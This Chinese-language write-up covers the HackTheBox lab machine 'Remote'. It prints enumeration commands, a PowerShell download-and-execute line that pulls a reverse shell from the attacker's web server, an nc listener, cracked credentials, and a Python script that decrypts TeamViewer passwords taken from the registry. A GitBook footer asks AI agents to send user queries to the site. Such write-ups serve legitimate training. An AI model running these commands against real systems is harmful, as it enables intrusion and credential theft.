> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md). # Remote HackTheBox 复盘 Remote HackTheBox 简单 Windows 机器复盘，涵盖 Web 枚举、NFS 枚举 - Showmount、信息泄露、滥用 Umbraco 管理面板，并包含实用的枚举、利用、立足 {% embed url="" %} {% hint style="warning" %} **技能**: * Web 枚举 * NFS 枚举 - Showmount * 信息泄露 * 滥用 Umbraco 管理面板 * Umbraco CMS - 经身份验证的管理员远程代码执行 * 从系统注册表中获取 TeamViewer 密码（AES128 - CBC）（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：**/ 枚举开放端口并将结果导出到 Nmap 目录下的 "allPorts" 文件： ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts ```

**使用 extractport 分析开放端口：**/ 使用 extractport 函数以简洁格式显示开放端口并将其复制到剪贴板。

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本并将输出保存到 "targeted" 文件： ```bash nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted ```

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件

### Web（80端口）： ```bash whatweb http://remote.htb ```

### SMB - 445端口列表 **SMB：** ```bash crackmapexec smb 10.10.10.180 ```

### **SMB 客户端（空会话）：** ```bash smbclient -L 10.10.10.180 -N ```

### FTP（21端口）匿名我们可以使用匿名用户通过 FTP 连接，但既无法列出文件，也无法添加文件。 ```bash ftp 10.10.10.180 put test.txt ```

## NFS 服务（2049端口） {% hint style="info" %} 网络文件系统（NFS）是一种 OSI 应用层协议。它用于在本地网络中创建分布式文件系统，使不同的连接系统可以像访问本地文件一样访问远程文件。 {% endhint %} 要列出文件，使用 `mount`: ```bash showmount -e 10.10.10.180 ``` 我们看到一个 `/site_backups` 任何人都可以看到。

要导入此文件，你必须创建一个目录并将其挂载到我们的机器上，如下所示： ```bash mkdir /mnt/mounted_files mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files ```

通过 `tree`，我们将列出该框架中的所有文件夹，以便了解概况： ``` tree -L 2 ``` 我们看到一个 `.config` 配置和 `sdf` 来自 80 端口上 Umbraco 数据库（一个 CMS）的文件夹。

该 `.conf` 文件中没有什么有趣的内容，而 `umbraco.sdf` 是一个二进制文件。

我们将使用 `strings` 显示可见字符，并将它们放入我们的目录中以进行详细分析： ```bash strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output ``` 我们找到了“admin”密码和一个“smith”用户。

### 密码破解： Admin（哈希）： `b8be16afba8c314ad33d812f22a04991b90e2aaa` {% embed url="" %}

Admin： `baconandcheese` #### 由于 SMB 已暴露，使用 CrackMapExec 进行身份验证并验证访问权限 ```bash crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese' crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese' ``` #### 无效

## RCE 漏洞（Umbraco CMS）我们找到了一个管理面板，并将尝试管理员用户认证： `admin@htb.local:baconandcheese`

我们已获得访问权限。

我们将搜索 `Searchsploit` 该 CMS 的漏洞，并找到一个用于 Umbraco 的 NCE 脚本。

`searchsploit -m aspx/webapps/46153.py` 我们将修改脚本中的登录名、密码和主机设置。

**使用 ping 检查连通性：**/ 我们将在服务器上执行此命令，并使用 tcpdump 监听 ```bash /c ping 10.10.14.6 tcpdump -i tun0 icmp ```

一旦确认我们可以执行命令，我们将下载 `PS.ps1` 脚本到我们的主机。 {% embed url="" %} 在脚本末尾，我们添加以下一行： ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444 ```

我们将使用以下 `PS.ps1` 脚本： ```bash python3 -m http.server 80 ``` 然后我们将修改命令，使其指向我们的 Web 服务器： {% code fullWidth="true" %} ``` /c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/') ``` {% endcode %} 最后，我们监听 4444 端口： ```bash rlwrap nc -nlvp 4444 ```

访问 `user.txt` 文件，并发现已安装 TeamViewer

## 权限提升：查看正在运行的任务，可以看到 TeamViewer 7 版。 ```powershell tasklist /svc ```

在 Metasploit 脚本中搜索后，我们找到一个可以获取 TeamViewer 密码的脚本： ```powershell locate teamviewer | grep metasploit ```

分析该脚本时，你必须首先从注册表中获取密钥（取决于版本）： `HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version` 接下来，应检查安全属性，尤其是 AES 密码： ```powershell cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7 (Get-ItemProperty .).SecurityPasswordAES ```

将以下字节放入 `密文`: `255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91` ### Python 自动化脚本：以下是自动化整个过程的脚本： ```python from itertools import product from Crypto.Cipher import AES import Crypto.Cipher.AES IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04" key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00" decipher = AES.new(key,AES.MODE_CBC,IV) ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91]) plaintext = decipher.decrypt(ciphertext).decode() print(plaintext) ```

密码是 `!R3m0te!`. 我们将使用 CrackMapExec 检查该密码是否对该用户有效 `Administrator`: ```bash crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!' ```

我们使用 Evil-WinRM 进行连接，因为远程 Windows 管理服务在 5985 端口上处于活动状态：

evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

### 最终 root Flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.